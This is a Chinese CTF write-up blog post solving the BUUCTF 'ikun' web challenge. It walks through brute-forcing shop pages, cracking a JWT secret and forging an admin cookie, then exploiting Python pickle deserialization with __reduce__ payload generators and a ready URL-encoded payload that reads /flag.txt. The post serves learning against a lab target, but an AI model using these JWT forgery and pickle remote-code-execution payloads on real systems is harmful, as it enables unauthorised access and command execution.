网安学习-CTF夺旗

大家好,我是YAy_17,是一枚爱好网安的小白,正在自学ing。

本人水平有限,欢迎各位大佬指点,一起学习,一起进步⭐️

⭐️此后如竟没有炬火,我便是唯一的光。⭐️

Python序列化

以BUUCTF的[CISCN2019 华北赛区 Day1 Web2]ikun为例。

网安学习-CTF夺旗_第1张图片

页面中有lv4,lv3等,通过查看网页的源代码发现。

网安学习-CTF夺旗_第2张图片

写脚本去找就可以了,这里自己还是可以做出来的。

#寻找lv6.png
import requests
for i in range(1,1001):
    url = 'http://f6cc6bb9-1241-48fd-b904-c170ba5b45b6.node4.buuoj.cn:81/shop?page='+str(i)
    result = requests.get(url)
    if 'lv6.png' in result.text:
        print(url)
        break

得到对应的url;也就找到了对应的page,之后就是来到了购买的页面。

网安学习-CTF夺旗_第3张图片

看到这里结合之前的学习,感觉应该是逻辑支付漏洞吧,还有优惠券,尝试通过抓包修改单价或者优惠券。 

网安学习-CTF夺旗_第4张图片

网安学习-CTF夺旗_第5张图片

这里尝试修改折扣的数据,回显给我们的结果是“该页面,只允许admin访问”;那就是垂直越权?

这里还是用到了之前学习到的JWT知识,没想起来!想学的知识很多,真正掌握的知识却没多少。

之后听了xd老师的课程之后,又回想起来了。

网安学习-CTF夺旗_第6张图片

在数据包中清楚的看到Cookie中存在着JWT。

粗略的回顾一下JWT的知识点:

JWT是利用token验证的一种具体的实现方式,其全称为Json Web Token;通俗的说,JWT本质上就是一个字符串,他是将用户信息保存到一个Json中,然后进行编码后得到了一个JWT token,并且得到这个JWT token是带有签名信息的,接收后可以通过验证判断是否被篡改。

JWT结构:

JWT由三部分组成:标头(Header)、有效载荷(Payload)、签名(Signature);在传输的时候这三部分分别经过base64编码之后通过“.”号进行连接形成最终传递的字符串。

关于JWT的知识点可以参考之前做的笔记网安学习---Java安全之JWT安全及预编译CASE注入_YAy17的博客-CSDN博客 

JWT详解_baobao555#的博客-CSDN博客_jwt

这里通过网上的脚本来碰撞出密钥。github上的开源破解程序https://github.com/brendan-rius/c-jwt-cracker

首次使用的时候出现了错误,大家在首次使用的时候可以参考这篇文章:快速安装 c-jwt-cracker - litluo - 博客园

这里我破解出来的密钥如下:

网安学习-CTF夺旗_第7张图片

接下来就是使用在线工具重新加密。JSON Web Tokens - jwt.io

网安学习-CTF夺旗_第8张图片 之后便是修改数据包中的JWT数据,修改JWT为admin的凭证 实现垂直越权

网安学习-CTF夺旗_第9张图片

Cookie成功伪造!

右击源代码看一下。

网安学习-CTF夺旗_第10张图片

发现备份的源码,下载。

网安学习-CTF夺旗_第11张图片

 在Admin.py代码中发现了反序列化的函数。become先经过url解码,之后通过pickle进行反序列化。

先对python的反序列化进行总结:

其中,序列化:

pickle.dumps()

#其中pickle.dumps(object,file,protocol),有三个参数,分别是object:序列化的对象;file:将object序列化到file文件中;protocol:序列化的模式,可取值为0、1、2、true;其中0的时候,表示以文本的形式进行序列化;1或2或者True都表示以二进制的形式进行序列化

反序列化:

pickle.loads()

在Python中内置了__reduce__(self)函数,他很像php中的wake_up函数,在反序列化的时候,会执行该函数,那么我们可以通过这个函数来执行命令。

reduce函数返回一个元组。该元组包含2~5个元素。其中包含着一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;

#例:

class A(object):
    def __reduce__(self):
        return (os.system,('ls',))

#就会执行os.system('ls')

所以总体上的思路就是我们在reduce中构造一个我们想要执行的代码,之后进行序列化,在进行url编码,传递给become,让他进行反序列化执行reduce。

这里我用commands.getoutput()函数,因为它可以得到回显,方便我们的查看。

import urllib 
import pickle
import commands

class A(object):
    def __reduce__(self):
        return (commands.getoutput,('ls',)) #之后找到flag位置 使用cat即可

a = A();
b = urllib.quote(pickle.dumps(a))
print(b)

ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.

网安学习-CTF夺旗_第12张图片 网上的wp是用到的eval函数。

#coding:utf-8 
import pickle
import urllib

class Test(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt','r').read()" ,))

a = Test()
s = pickle.dumps(a)
#print(s)
print(urllib.quote(s))

之后便是返回到刚才的“一键成为大会员”的界面。抓包修改become的值,修改为我们序列化+url编码之后的payload。便可以得到flag

你可能感兴趣的:(CTF,学习,安全,web安全,网络安全)